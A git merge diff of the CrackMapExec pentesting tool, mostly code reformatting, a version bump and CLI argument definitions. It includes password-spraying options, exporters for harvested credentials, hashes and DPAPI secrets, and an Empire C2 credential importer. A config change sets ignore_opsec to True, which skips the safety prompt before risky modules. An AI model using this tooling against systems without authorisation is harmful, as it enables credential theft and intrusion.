Merge branch 'master' into login_neff

This commit is contained in:
Alex
2023-05-28 13:42:11 +02:00
133 changed files with 9828 additions and 8177 deletions
+18 -10
View File
@@ -10,6 +10,7 @@ from datetime import datetime
from pathlib import Path
from shiv.bootstrap import Environment
# from distutils.ccompiler import new_compiler
from shiv.builder import create_archive
from shiv.cli import __version__ as VERSION
@@ -28,23 +29,30 @@ def build_cme():
os.mkdir("build")
os.mkdir("bin")
shutil.copytree("cme", "build/cme")
except Exception as e:
print(e)
return
subprocess.run(
[sys.executable, "-m", "pip", "install", "-r", "requirements.txt" ,"-t", "build"],
check=True
[
sys.executable,
"-m",
"pip",
"install",
"-r",
"requirements.txt",
"-t",
"build",
],
check=True,
)
#[shutil.rmtree(p) for p in Path("build").glob("**/__pycache__")]
# [shutil.rmtree(p) for p in Path("build").glob("**/__pycache__")]
[shutil.rmtree(p) for p in Path("build").glob("**/*.dist-info")]
env = Environment(
built_at=datetime.utcfromtimestamp(int(time.time())).strftime(
"%Y-%m-%d %H:%M:%S"
),
built_at=datetime.utcfromtimestamp(int(time.time())).strftime("%Y-%m-%d %H:%M:%S"),
entry_point="cme.crackmapexec:main",
script=None,
compile_pyc=False,
@@ -60,12 +68,11 @@ def build_cme():
True,
)
def build_cmedb():
print("building CMEDB")
env = Environment(
built_at=datetime.utcfromtimestamp(int(time.time())).strftime(
"%Y-%m-%d %H:%M:%S"
),
built_at=datetime.utcfromtimestamp(int(time.time())).strftime("%Y-%m-%d %H:%M:%S"),
entry_point="cme.cmedb:main",
script=None,
compile_pyc=False,
@@ -81,6 +88,7 @@ def build_cmedb():
True,
)
if __name__ == "__main__":
try:
build_cme()
+1
View File
@@ -2,4 +2,5 @@
# -*- coding: utf-8 -*-
from PyInstaller.utils.hooks import collect_all
datas, binaries, hiddenimports = collect_all("lsassy")
+134 -26
View File
@@ -10,14 +10,14 @@ from termcolor import colored
def gen_cli_args():
VERSION = "5.4.6"
VERSION = "5.4.7"
CODENAME = "Bruce Wayne"
p_loader = ProtocolLoader()
protocols = p_loader.get_protocols()
parser = argparse.ArgumentParser(description=f"""
parser = argparse.ArgumentParser(
description=f"""
______ .______ ___ ______ __ ___ .___ ___. ___ .______ _______ ___ ___ _______ ______
/ || _ \ / \ / || |/ / | \/ | / \ | _ \ | ____|\ \ / / | ____| / |
| ,----'| |_) | / ^ \ | ,----'| ' / | \ / | / ^ \ | |_) | | |__ \ V / | |__ | ,----'
@@ -33,12 +33,34 @@ def gen_cli_args():
{highlight('Version', 'red')} : {highlight(VERSION)}
{highlight('Codename', 'red')}: {highlight(CODENAME)}
""", formatter_class=RawTextHelpFormatter)
""",
formatter_class=RawTextHelpFormatter,
)
parser.add_argument("-t", type=int, dest="threads", default=100, help="set how many concurrent threads to use (default: 100)")
parser.add_argument("--timeout", default=None, type=int, help="max timeout in seconds of each thread (default: None)")
parser.add_argument("--jitter", metavar="INTERVAL", type=str, help="sets a random delay between each connection (default: None)")
parser.add_argument("--no-progress", action="store_true", help="Not displaying progress bar during scan")
parser.add_argument(
"-t",
type=int,
dest="threads",
default=100,
help="set how many concurrent threads to use (default: 100)",
)
parser.add_argument(
"--timeout",
default=None,
type=int,
help="max timeout in seconds of each thread (default: None)",
)
parser.add_argument(
"--jitter",
metavar="INTERVAL",
type=str,
help="sets a random delay between each connection (default: None)",
)
parser.add_argument(
"--no-progress",
action="store_true",
help="Not displaying progress bar during scan",
)
parser.add_argument("--darrell", action="store_true", help="give Darrell a hand")
parser.add_argument("--verbose", action="store_true", help="enable verbose output")
parser.add_argument("--debug", action="store_true", help="enable debug level information")
@@ -47,33 +69,119 @@ def gen_cli_args():
subparsers = parser.add_subparsers(title="protocols", dest="protocol", description="available protocols")
std_parser = argparse.ArgumentParser(add_help=False)
std_parser.add_argument("target", nargs="+", type=str, help="the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, NMap XML or .Nessus file(s)")
std_parser.add_argument("-id", metavar="CRED_ID", nargs="+", default=[], type=str, dest="cred_id", help='database credential ID(s) to use for authentication')
std_parser.add_argument("-u", metavar="USERNAME", dest="username", nargs="+", default=[], help="username(s) or file(s) containing usernames")
std_parser.add_argument("-p", metavar="PASSWORD", dest="password", nargs="+", default=[], help="password(s) or file(s) containing passwords")
std_parser.add_argument(
"target",
nargs="+",
type=str,
help="the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, NMap XML or .Nessus file(s)",
)
std_parser.add_argument(
"-id",
metavar="CRED_ID",
nargs="+",
default=[],
type=str,
dest="cred_id",
help="database credential ID(s) to use for authentication",
)
std_parser.add_argument(
"-u",
metavar="USERNAME",
dest="username",
nargs="+",
default=[],
help="username(s) or file(s) containing usernames",
)
std_parser.add_argument(
"-p",
metavar="PASSWORD",
dest="password",
nargs="+",
default=[],
help="password(s) or file(s) containing passwords",
)
std_parser.add_argument("-k", "--kerberos", action="store_true", help="Use Kerberos authentication")
std_parser.add_argument("--no-bruteforce", action="store_true", help="No spray when using file for username and password (user1 => password1, user2 => password2")
std_parser.add_argument("--continue-on-success", action="store_true", help="continues authentication attempts even after successes")
std_parser.add_argument("--use-kcache", action="store_true", help="Use Kerberos authentication from ccache file (KRB5CCNAME)")
std_parser.add_argument(
"--use-kcache",
action="store_true",
help="Use Kerberos authentication from ccache file (KRB5CCNAME)",
)
std_parser.add_argument("--log", metavar="LOG", help="Export result into a custom file")
std_parser.add_argument("--aesKey", metavar="AESKEY", nargs="+", help="AES key to use for Kerberos Authentication (128 or 256 bits)")
std_parser.add_argument("--kdcHost", metavar="KDCHOST", help="FQDN of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter")
std_parser.add_argument(
"--aesKey",
metavar="AESKEY",
nargs="+",
help="AES key to use for Kerberos Authentication (128 or 256 bits)",
)
std_parser.add_argument(
"--kdcHost",
metavar="KDCHOST",
help="FQDN of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter",
)
fail_group = std_parser.add_mutually_exclusive_group()
fail_group.add_argument("--gfail-limit", metavar="LIMIT", type=int, help="max number of global failed login attempts")
fail_group.add_argument("--ufail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per username")
fail_group.add_argument("--fail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per host")
fail_group.add_argument(
"--gfail-limit",
metavar="LIMIT",
type=int,
help="max number of global failed login attempts",
)
fail_group.add_argument(
"--ufail-limit",
metavar="LIMIT",
type=int,
help="max number of failed login attempts per username",
)
fail_group.add_argument(
"--fail-limit",
metavar="LIMIT",
type=int,
help="max number of failed login attempts per host",
)
module_parser = argparse.ArgumentParser(add_help=False)
mgroup = module_parser.add_mutually_exclusive_group()
mgroup.add_argument("-M", "--module", action="append", metavar="MODULE", help="module to use")
module_parser.add_argument("-o", metavar="MODULE_OPTION", nargs="+", default=[], dest="module_options", help="module options")
module_parser.add_argument(
"-o",
metavar="MODULE_OPTION",
nargs="+",
default=[],
dest="module_options",
help="module options",
)
module_parser.add_argument("-L", "--list-modules", action="store_true", help="list available modules")
module_parser.add_argument("--options", dest="show_module_options", action="store_true", help="display module options")
module_parser.add_argument("--server", choices={"http", "https"}, default="https", help="use the selected server (default: https)")
module_parser.add_argument("--server-host", type=str, default="0.0.0.0", metavar="HOST", help="IP to bind the server to (default: 0.0.0.0)")
module_parser.add_argument("--server-port", metavar="PORT", type=int, help="start the server on the specified port")
module_parser.add_argument("--connectback-host", type=str, metavar="CHOST", help="IP for the remote system to connect back to (default: same as server-host)")
module_parser.add_argument(
"--options",
dest="show_module_options",
action="store_true",
help="display module options",
)
module_parser.add_argument(
"--server",
choices={"http", "https"},
default="https",
help="use the selected server (default: https)",
)
module_parser.add_argument(
"--server-host",
type=str,
default="0.0.0.0",
metavar="HOST",
help="IP to bind the server to (default: 0.0.0.0)",
)
module_parser.add_argument(
"--server-port",
metavar="PORT",
type=int,
help="start the server on the specified port",
)
module_parser.add_argument(
"--connectback-host",
type=str,
metavar="CHOST",
help="IP for the remote system to connect back to (default: same as server-host)",
)
for protocol in protocols.keys():
protocol_object = p_loader.load_protocol(protocols[protocol]["path"])
+180 -116
View File
@@ -5,8 +5,11 @@ import cmd
import configparser
import csv
import os
from os import listdir
from os.path import exists
from os.path import join as path_join
import shutil
import sqlite3
from sqlite3 import connect
import sys
from textwrap import dedent
@@ -24,11 +27,7 @@ class UserExitedProto(Exception):
def create_db_engine(db_path):
db_engine = create_engine(
f"sqlite:///{db_path}",
isolation_level="AUTOCOMMIT",
future=True
)
db_engine = create_engine(f"sqlite:///{db_path}", isolation_level="AUTOCOMMIT", future=True)
return db_engine
@@ -45,8 +44,14 @@ def write_csv(filename, headers, entries):
"""
Writes a CSV file with the provided parameters.
"""
with open(os.path.expanduser(filename), 'w') as export_file:
csv_file = csv.writer(export_file, delimiter=";", quoting=csv.QUOTE_ALL, lineterminator='\n', escapechar="\\")
with open(os.path.expanduser(filename), "w") as export_file:
csv_file = csv.writer(
export_file,
delimiter=";",
quoting=csv.QUOTE_ALL,
lineterminator="\n",
escapechar="\\",
)
csv_file.writerow(headers)
for entry in entries:
csv_file.writerow(entry)
@@ -66,8 +71,8 @@ def complete_import(text, line):
"""
Tab-complete 'import' commands
"""
commands = ["empire", "metasploit"]
mline = line.partition(' ')[2]
commands = ("empire", "metasploit")
mline = line.partition(" ")[2]
offs = len(mline) - len(text)
return [s[offs:] for s in commands if s.startswith(mline)]
@@ -76,8 +81,16 @@ def complete_export(text, line):
"""
Tab-complete 'creds' commands.
"""
commands = ["creds", "plaintext", "hashes", "shares", "local_admins", "signing", "keys"]
mline = line.partition(' ')[2]
commands = (
"creds",
"plaintext",
"hashes",
"shares",
"local_admins",
"signing",
"keys",
)
mline = line.partition(" ")[2]
offs = len(mline) - len(text)
return [s[offs:] for s in commands if s.startswith(mline)]
@@ -99,7 +112,8 @@ class DatabaseNavigator(cmd.Cmd):
self.db.shutdown_db()
sys.exit()
def help_exit(self):
@staticmethod
def help_exit():
help_string = """
Exits
"""
@@ -121,16 +135,23 @@ class DatabaseNavigator(cmd.Cmd):
if len(line) < 3:
print("[-] invalid arguments, export creds <simple|detailed> <filename>")
return
filename = line[2]
creds = self.db.get_credentials()
csv_header = ["id", "domain", "username", "password", "credtype", "pillaged_from"]
csv_header = (
"id",
"domain",
"username",
"password",
"credtype",
"pillaged_from",
)
if line[1].lower() == "simple":
write_csv(filename, csv_header, creds)
elif line[1].lower() == "detailed":
formatted_creds = []
for cred in creds:
entry = [
cred[0], # ID
@@ -147,16 +168,37 @@ class DatabaseNavigator(cmd.Cmd):
write_csv(filename, csv_header, formatted_creds)
else:
print(f"[-] No such export option: {line[1]}")
return
print('[+] Creds exported')
return
print("[+] Creds exported")
# Hosts
elif command == "hosts":
if len(line) < 3:
print("[-] invalid arguments, export hosts <simple|detailed|signing> <filename>")
return
csv_header_simple = ["id", "ip", "hostname", "domain", "os", "dc", "smbv1", "signing"]
csv_header_detailed = ["id", "ip", "hostname", "domain", "os", "dc", "smbv1", "signing", "spooler", "zerologon", "petitpotam"]
csv_header_simple = (
"id",
"ip",
"hostname",
"domain",
"os",
"dc",
"smbv1",
"signing",
)
csv_header_detailed = (
"id",
"ip",
"hostname",
"domain",
"os",
"dc",
"smbv1",
"signing",
"spooler",
"zerologon",
"petitpotam",
)
filename = line[2]
if line[1].lower() == "simple":
@@ -173,18 +215,18 @@ class DatabaseNavigator(cmd.Cmd):
write_list(filename, signing_hosts)
else:
print(f"[-] No such export option: {line[1]}")
return
print('[+] Hosts exported')
return
print("[+] Hosts exported")
# Shares
elif command == "shares":
if len(line) < 3:
print("[-] invalid arguments, export shares <simple|detailed> <filename>")
return
shares = self.db.get_shares()
csv_header = ["id", "host", "userid", "name", "remark", "read", "write"]
csv_header = ("id", "host", "userid", "name", "remark", "read", "write")
filename = line[2]
if line[1].lower() == "simple":
write_csv(filename, csv_header, shares)
print("[+] shares exported")
@@ -193,22 +235,26 @@ class DatabaseNavigator(cmd.Cmd):
formatted_shares = []
for share in shares:
user = self.db.get_users(share[2])[0]
entry = [
share[0], # shareID
self.db.get_hosts(share[1])[0][2], # hosts
f"{user[1]}\{user[2]}", # userID
share[3], # name
share[4], # remark
bool(share[5]), # read
bool(share[6]) # write
]
if self.db.get_hosts(share[1]):
share_host = self.db.get_hosts(share[1])[0][2]
else:
share_host = "ERROR"
entry = (
share[0], # shareID
share_host, # hosts
f"{user[1]}\{user[2]}", # userID
share[3], # name
share[4], # remark
bool(share[5]), # read
bool(share[6]), # write
)
formatted_shares.append(entry)
write_csv(filename, csv_header, formatted_shares)
print("[+] Shares exported")
else:
print(f"[-] No such export option: {line[1]}")
return
print("[+] Shares exported")
return
# Local Admin
elif command == "local_admins":
if len(line) < 3:
@@ -217,28 +263,28 @@ class DatabaseNavigator(cmd.Cmd):
# These values don't change between simple and detailed
local_admins = self.db.get_admin_relations()
csv_header = ["id", "userid", "host"]
csv_header = ("id", "userid", "host")
filename = line[2]
if line[1].lower() == "simple":
write_csv(filename, csv_header, local_admins)
elif line[1].lower() == "detailed":
formatted_local_admins = []
for entry in local_admins:
user = self.db.get_users(filter_term=entry[1])[0]
formatted_entry = [
entry[0], # Entry ID
f"{user[1]}/{user[2]}", # DOMAIN/Username
self.db.get_hosts(filter_term=entry[2])[0][2] # Hostname
]
formatted_entry = (
entry[0], # Entry ID
f"{user[1]}/{user[2]}", # DOMAIN/Username
self.db.get_hosts(filter_term=entry[2])[0][2], # Hostname
)
# Can't modify a tuple which is what self.db.get_admin_relations() returns
formatted_local_admins.append(formatted_entry)
write_csv(filename, csv_header, formatted_local_admins)
else:
print(f"[-] No such export option: {line[1]}")
return
print('[+] Local Admins exported')
return
print("[+] Local Admins exported")
elif command == "dpapi":
if len(line) < 3:
print("[-] invalid arguments, export dpapi <simple|detailed> <filename>")
@@ -246,7 +292,15 @@ class DatabaseNavigator(cmd.Cmd):
# These values don't change between simple and detailed
dpapi_secrets = self.db.get_dpapi_secrets()
csv_header = ["id", "host", "dpapi_type", "windows_user", "username", "password", "url"]
csv_header = (
"id",
"host",
"dpapi_type",
"windows_user",
"username",
"password",
"url",
)
filename = line[2]
if line[1].lower() == "simple":
@@ -254,23 +308,22 @@ class DatabaseNavigator(cmd.Cmd):
elif line[1].lower() == "detailed":
formatted_dpapi_secret = []
for entry in dpapi_secrets:
formatted_entry = [
entry[0], # Entry ID
self.db.get_hosts(filter_term=entry[1])[0][2], # Hostname
entry[2], # DPAPI type
entry[3], # Windows User
entry[4], # Username
entry[5], # Password
entry[6], # URL
]
formatted_entry = (
entry[0], # Entry ID
self.db.get_hosts(filter_term=entry[1])[0][2], # Hostname
entry[2], # DPAPI type
entry[3], # Windows User
entry[4], # Username
entry[5], # Password
entry[6], # URL
)
# Can't modify a tuple which is what self.db.get_admin_relations() returns
formatted_dpapi_secret.append(formatted_entry)
write_csv(filename, csv_header, formatted_dpapi_secret)
else:
print('[-] No such export option: %s' % line[1])
return
print('[+] DPAPI secrets exported')
print(f"[-] No such export option: {line[1]}")
return
print("[+] DPAPI secrets exported")
elif command == "keys":
if line[1].lower() == "all":
keys = self.db.get_keys()
@@ -282,7 +335,8 @@ class DatabaseNavigator(cmd.Cmd):
else:
print("[-] Invalid argument, specify creds, hosts, local_admins, shares or dpapi")
def help_export(self):
@staticmethod
def help_export():
help_string = """
export [creds|hosts|local_admins|shares|signing|keys] [simple|detailed|*] [filename]
Exports information to a specified file
@@ -298,30 +352,43 @@ class DatabaseNavigator(cmd.Cmd):
if not line:
return
if line == 'empire':
headers = {
'Content-Type': 'application/json'
}
if line == "empire":
headers = {"Content-Type": "application/json"}
# Pull the username and password from the config file
payload = {
'username': self.config.get('Empire', 'username'),
'password': self.config.get('Empire', 'password')
"username": self.config.get("Empire", "username"),
"password": self.config.get("Empire", "password"),
}
# Pull the host and port from the config file
base_url = f"https://{self.config.get('Empire', 'api_host')}:{self.config.get('Empire', 'api_port')}"
try:
r = requests.post(base_url + '/api/admin/login', json=payload, headers=headers, verify=False)
r = requests.post(
base_url + "/api/admin/login",
json=payload,
headers=headers,
verify=False,
)
if r.status_code == 200:
token = r.json()['token']
url_params = {'token': token}
r = requests.get(base_url + '/api/creds', headers=headers, params=url_params, verify=False)
token = r.json()["token"]
url_params = {"token": token}
r = requests.get(
base_url + "/api/creds",
headers=headers,
params=url_params,
verify=False,
)
creds = r.json()
for cred in creds['creds']:
if cred['credtype'] == 'token' or cred['credtype'] == 'krbtgt' or cred['username'].endswith('$'):
for cred in creds["creds"]:
if cred["credtype"] == "token" or cred["credtype"] == "krbtgt" or cred["username"].endswith("$"):
continue
self.db.add_credential(cred['credtype'], cred['domain'], cred['username'], cred['password'])
self.db.add_credential(
cred["credtype"],
cred["domain"],
cred["username"],
cred["password"],
)
print("[+] Empire credential import successful")
else:
print("[-] Error authenticating to Empire's RESTful API server!")
@@ -345,35 +412,36 @@ class CMEDBMenu(cmd.Cmd):
self.p_loader = ProtocolLoader()
self.protocols = self.p_loader.get_protocols()
self.workspace = self.config.get('CME', 'workspace')
self.workspace = self.config.get("CME", "workspace")
self.do_workspace(self.workspace)
self.db = self.config.get('CME', 'last_used_db')
self.db = self.config.get("CME", "last_used_db")
if self.db:
self.do_proto(self.db)
def write_configfile(self):
with open(self.config_path, 'w') as configfile:
with open(self.config_path, "w") as configfile:
self.config.write(configfile)
def do_proto(self, proto):
if not proto:
return
proto_db_path = os.path.join(WORKSPACE_DIR, self.workspace, proto + '.db')
if os.path.exists(proto_db_path):
proto_db_path = path_join(WORKSPACE_DIR, self.workspace, f"{proto}.db")
if exists(proto_db_path):
self.conn = create_db_engine(proto_db_path)
db_nav_object = self.p_loader.load_protocol(self.protocols[proto]['nvpath'])
db_object = self.p_loader.load_protocol(self.protocols[proto]['dbpath'])
self.config.set('CME', 'last_used_db', proto)
db_nav_object = self.p_loader.load_protocol(self.protocols[proto]["nvpath"])
db_object = self.p_loader.load_protocol(self.protocols[proto]["dbpath"])
self.config.set("CME", "last_used_db", proto)
self.write_configfile()
try:
proto_menu = getattr(db_nav_object, 'navigator')(self, getattr(db_object, 'database')(self.conn), proto)
proto_menu = getattr(db_nav_object, "navigator")(self, getattr(db_object, "database")(self.conn), proto)
proto_menu.cmdloop()
except UserExitedProto:
pass
def help_proto(self):
@staticmethod
def help_proto():
help_string = """
proto [smb|mssql|winrm]
*unimplemented protocols: ftp, rdp, ldap, ssh
@@ -384,39 +452,42 @@ class CMEDBMenu(cmd.Cmd):
def do_workspace(self, line):
line = line.strip()
if not line:
subcommand = ''
subcommand = ""
self.help_workspace()
else:
subcommand = line.split()[0]
if subcommand == 'create':
if subcommand == "create":
new_workspace = line.split()[1].strip()
print(f"[*] Creating workspace '{new_workspace}'")
self.create_workspace(new_workspace, self.p_loader, self.protocols)
self.do_workspace(new_workspace)
elif subcommand == 'list':
elif subcommand == "list":
print("[*] Enumerating Workspaces")
for workspace in os.listdir(os.path.join(WORKSPACE_DIR)):
for workspace in listdir(path_join(WORKSPACE_DIR)):
if workspace == self.workspace:
print("==> "+workspace)
print("==> " + workspace)
else:
print(workspace)
elif os.path.exists(os.path.join(WORKSPACE_DIR, line)):
self.config.set('CME', 'workspace', line)
elif exists(path_join(WORKSPACE_DIR, line)):
self.config.set("CME", "workspace", line)
self.write_configfile()
self.workspace = line
self.prompt = f"cmedb ({line}) > "
def help_workspace(self):
@staticmethod
def help_workspace():
help_string = """
workspace [create <targetName> | workspace list | workspace <targetName>]
"""
print_help(help_string)
def do_exit(self, line):
@staticmethod
def do_exit(line):
sys.exit()
def help_exit(self):
@staticmethod
def help_exit():
help_string = """
Exits
"""
@@ -424,18 +495,15 @@ class CMEDBMenu(cmd.Cmd):
def create_workspace(workspace_name, p_loader, protocols):
os.mkdir(os.path.join(WORKSPACE_DIR, workspace_name))
os.mkdir(path_join(WORKSPACE_DIR, workspace_name))
for protocol in protocols.keys():
try:
protocol_object = p_loader.load_protocol(protocols[protocol]["dbpath"])
except KeyError:
continue
proto_db_path = os.path.join(WORKSPACE_DIR, workspace_name, protocol + ".db")
protocol_object = p_loader.load_protocol(protocols[protocol]["dbpath"])
proto_db_path = path_join(WORKSPACE_DIR, workspace_name, f"{protocol}.db")
if not os.path.exists(proto_db_path):
if not exists(proto_db_path):
print(f"[*] Initializing {protocol.upper()} protocol database")
conn = sqlite3.connect(proto_db_path)
conn = connect(proto_db_path)
c = conn.cursor()
# try to prevent some weird sqlite I/O errors
@@ -450,27 +518,23 @@ def create_workspace(workspace_name, p_loader, protocols):
def delete_workspace(workspace_name):
shutil.rmtree(os.path.join(WORKSPACE_DIR, workspace_name))
shutil.rmtree(path_join(WORKSPACE_DIR, workspace_name))
def initialize_db(logger):
if not os.path.exists(os.path.join(WS_PATH, "default")):
if not exists(path_join(WS_PATH, "default")):
logger.debug("Creating default workspace")
os.mkdir(os.path.join(WS_PATH, "default"))
os.mkdir(path_join(WS_PATH, "default"))
p_loader = ProtocolLoader()
protocols = p_loader.get_protocols()
for protocol in protocols.keys():
try:
protocol_object = p_loader.load_protocol(protocols[protocol]["dbpath"])
except KeyError:
continue
protocol_object = p_loader.load_protocol(protocols[protocol]["dbpath"])
proto_db_path = path_join(WS_PATH, "default", f"{protocol}.db")
proto_db_path = os.path.join(WS_PATH, "default", protocol + ".db")
if not os.path.exists(proto_db_path):
if not exists(proto_db_path):
logger.debug(f"Initializing {protocol.upper()} protocol database")
conn = sqlite3.connect(proto_db_path)
conn = connect(proto_db_path)
c = conn.cursor()
# try to prevent some weird sqlite I/O errors
c.execute("PRAGMA journal_mode = OFF") # could try setting to PERSIST if DB corruption starts occurring
@@ -484,7 +548,7 @@ def initialize_db(logger):
def main():
if not os.path.exists(CONFIG_PATH):
if not exists(CONFIG_PATH):
print("[-] Unable to find config file")
sys.exit(1)
try:
+17 -8
View File
@@ -3,7 +3,8 @@
import random
import socket
import sys
from socket import AF_INET, AF_INET6, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME
from socket import getaddrinfo
from os.path import isfile
from threading import BoundedSemaphore
from functools import wraps
@@ -21,14 +22,12 @@ user_failed_logins = {}
def gethost_addrinfo(hostname):
try:
for res in socket.getaddrinfo(hostname, None, socket.AF_INET6,
socket.SOCK_DGRAM, socket.IPPROTO_IP, socket.AI_CANONNAME):
for res in getaddrinfo( hostname, None, AF_INET6, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME):
af, socktype, proto, canonname, sa = res
except socket.gaierror:
for res in socket.getaddrinfo(hostname, None, socket.AF_INET,
socket.SOCK_DGRAM, socket.IPPROTO_IP, socket.AI_CANONNAME):
for res in getaddrinfo( hostname, None, AF_INET, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME):
af, socktype, proto, canonname, sa = res
if canonname == '':
if canonname == "":
return sa[0]
return canonname
@@ -38,6 +37,7 @@ def requires_admin(func):
if self.admin_privs is False:
return
return func(self, *args, **kwargs)
return wraps(func)(_decorator)
@@ -103,7 +103,16 @@ class connection(object):
def check_if_admin(self):
return
def kerberos_login(self, domain, username, password='', ntlm_hash='', aesKey='', kdcHost='', useCache=False):
def kerberos_login(
self,
domain,
username,
password="",
ntlm_hash="",
aesKey="",
kdcHost="",
useCache=False,
):
return
def plaintext_login(self, domain, username, password):
@@ -140,7 +149,7 @@ class connection(object):
"module_name": module.name.upper(),
"host": self.host,
"port": self.args.port,
"hostname": self.hostname
"hostname": self.hostname,
},
)
+1 -4
View File
@@ -1,6 +1,3 @@
from rich.console import Console
cme_console = Console(
soft_wrap=True,
tab_size=4
)
cme_console = Console(soft_wrap=True, tab_size=4)
+2 -2
View File
@@ -11,11 +11,11 @@ class Context:
setattr(self, key, value)
self.db = db
self.log_folder_path = os.path.join(os.path.expanduser('~/.cme'), 'logs')
self.log_folder_path = os.path.join(os.path.expanduser("~/.cme"), "logs")
self.localip = None
self.conf = configparser.ConfigParser()
self.conf.read(os.path.expanduser('~/.cme/cme.conf'))
self.conf.read(os.path.expanduser("~/.cme/cme.conf"))
self.log = logger
# self.log.debug = logging.debug
+44 -34
View File
@@ -15,16 +15,17 @@ from cme.paths import CME_PATH, DATA_PATH
from cme.console import cme_console
from cme.logger import cme_logger
from cme.config import cme_config, cme_workspace, config_log, ignore_opsec
from concurrent.futures import ThreadPoolExecutor
from concurrent.futures import ThreadPoolExecutor, as_completed
import asyncio
import cme.helpers.powershell as powershell
import shutil
import webbrowser
import random
import os
import sys
from os.path import exists
from os.path import join as path_join
from sys import exit
import logging
import concurrent.futures
import sqlalchemy
from rich.progress import Progress
@@ -32,15 +33,11 @@ try:
import librlers
except:
print("Incompatible python version, try with another python version or another binary 3.8 / 3.9 / 3.10 / 3.11 that match your python version (python -V)")
sys.exit(1)
exit(1)
def create_db_engine(db_path):
db_engine = sqlalchemy.create_engine(
f"sqlite:///{db_path}",
isolation_level="AUTOCOMMIT",
future=True
)
db_engine = sqlalchemy.create_engine(f"sqlite:///{db_path}", isolation_level="AUTOCOMMIT", future=True)
return db_engine
@@ -57,11 +54,11 @@ async def start_run(protocol_obj, args, db, targets):
total = len(targets)
tasks = progress.add_task(
f"[green]Running CME against {total} {'target' if total == 1 else 'targets'}",
total=total
total=total,
)
cme_logger.debug(f"Creating thread for {protocol_obj}")
futures = [executor.submit(protocol_obj, args, db, target) for target in targets]
for future in concurrent.futures.as_completed(futures):
for future in as_completed(futures):
current += 1
progress.update(tasks, completed=current)
@@ -81,7 +78,8 @@ def main():
cme_logger.logger.setLevel(logging.ERROR)
root_logger.setLevel(logging.ERROR)
# if these are the same, it might double log to file (two FileHandlers will be added), but this should never happen by accident
# if these are the same, it might double log to file (two FileHandlers will be added)
# but this should never happen by accident
if config_log:
cme_logger.add_file_log()
if hasattr(args, "log") and args.log:
@@ -90,23 +88,23 @@ def main():
cme_logger.debug(f"Passed args: {args}")
if args.darrell:
links = open(os.path.join(DATA_PATH, "videos_for_darrell.harambe")).read().splitlines()
links = open(path_join(DATA_PATH, "videos_for_darrell.harambe")).read().splitlines()
try:
webbrowser.open(random.choice(links))
sys.exit(1)
exit(1)
except Exception as e:
cme_logger.error(f"Error opening le dank meme: {e}")
sys.exit(1)
exit(1)
if args.protocol == "ssh":
if args.key_file:
if not args.password:
cme_logger.fail(f"Password is required, even if a key file is used - if no passphrase for key, use `-p ''`")
sys.exit(1)
exit(1)
if args.use_kcache and not os.environ.get("KRB5CCNAME"):
cme_logger.error("KRB5CCNAME environment variable is not set")
sys.exit(1)
exit(1)
module_server = None
targets = []
@@ -122,11 +120,11 @@ def main():
args.cred_id.remove(cred_id)
except Exception as e:
cme_logger.error(f"Error parsing database credential id: {e}")
sys.exit(1)
exit(1)
if hasattr(args, "target") and args.target:
for target in args.target:
if os.path.exists(target):
if exists(target):
target_file_type = identify_target_file(target)
if target_file_type == "nmap":
targets.extend(parse_nmap_xml(target, args.protocol))
@@ -160,7 +158,7 @@ def main():
protocol_db_object = getattr(p_loader.load_protocol(protocol_db_path), "database")
cme_logger.debug(f"Protocol DB Object: {protocol_db_object}")
db_path = os.path.join(CME_PATH, "workspaces", cme_workspace, args.protocol + ".db")
db_path = path_join(CME_PATH, "workspaces", cme_workspace, f"{args.protocol}.db")
cme_logger.debug(f"DB Path: {db_path}")
db_engine = create_db_engine(db_path)
@@ -177,11 +175,11 @@ def main():
for name, props in sorted(modules.items()):
if args.protocol in props["supported_protocols"]:
cme_logger.display(f"{name:<25} {props['description']}")
sys.exit(0)
exit(0)
elif args.module and args.show_module_options:
for module in args.module:
cme_logger.display(f"{module} module options:\n{modules[module]['options']}")
sys.exit(0)
exit(0)
elif args.module:
cme_logger.debug(f"Modules to be Loaded: {args.module}, {type(args.module)}")
for m in map(str.lower, args.module):
@@ -198,14 +196,23 @@ def main():
cme_logger.display(f"Ignore OPSEC in configuration is set and OPSEC unsafe module loaded")
else:
ans = input(
highlight("[!] Module is not opsec safe, are you sure you want to run this? [Y/n] ", 'red'))
highlight(
"[!] Module is not opsec safe, are you sure you want to run this? [Y/n] For global configuration, change ignore_opsec value to True on ~/cme/cme.conf",
"red",
)
)
if ans.lower() not in ["y", "yes", ""]:
sys.exit(1)
exit(1)
if not module.multiple_hosts and len(targets) > 1:
ans = input(highlight("[!] Running this module on multiple hosts doesn't really make any sense, are you sure you want to continue? [Y/n] ", 'red'))
ans = input(
highlight(
"[!] Running this module on multiple hosts doesn't really make any sense, are you sure you want to continue? [Y/n] ",
"red",
)
)
if ans.lower() not in ["y", "yes", ""]:
sys.exit(1)
exit(1)
if hasattr(module, "on_request") or hasattr(module, "has_response"):
if hasattr(module, "required_server"):
@@ -223,7 +230,7 @@ def main():
cme_logger,
args.server_host,
args.server_port,
args.server
args.server,
)
module_server.start()
protocol_object.server = module_server.server
@@ -239,14 +246,17 @@ def main():
cme_logger.debug(f"proto object module after adding: {protocol_object.module}")
if hasattr(args, "ntds") and args.ntds and not args.userntds:
ans = input(highlight('[!] Dumping the ntds can crash the DC on Windows Server 2019. Use the option --user <user> to dump a specific user safely or the module -M ntdsutil [Y/n] ', 'red'))
if ans.lower() not in ['y', 'yes', '']:
sys.exit(1)
ans = input(
highlight(
"[!] Dumping the ntds can crash the DC on Windows Server 2019. Use the option --user <user> to dump a specific user safely or the module -M ntdsutil [Y/n] ",
"red",
)
)
if ans.lower() not in ["y", "yes", ""]:
exit(1)
try:
asyncio.run(
start_run(protocol_object, args, db, targets)
)
asyncio.run(start_run(protocol_object, args, db, targets))
except KeyboardInterrupt:
cme_logger.debug("Got keyboard interrupt")
finally:
+2 -2
View File
@@ -4,7 +4,7 @@ last_used_db = smb
pwn3d_label = Pwn3d!
audit_mode =
log_mode = False
ignore_opsec = False
ignore_opsec = True
[BloodHound]
bh_enabled = False
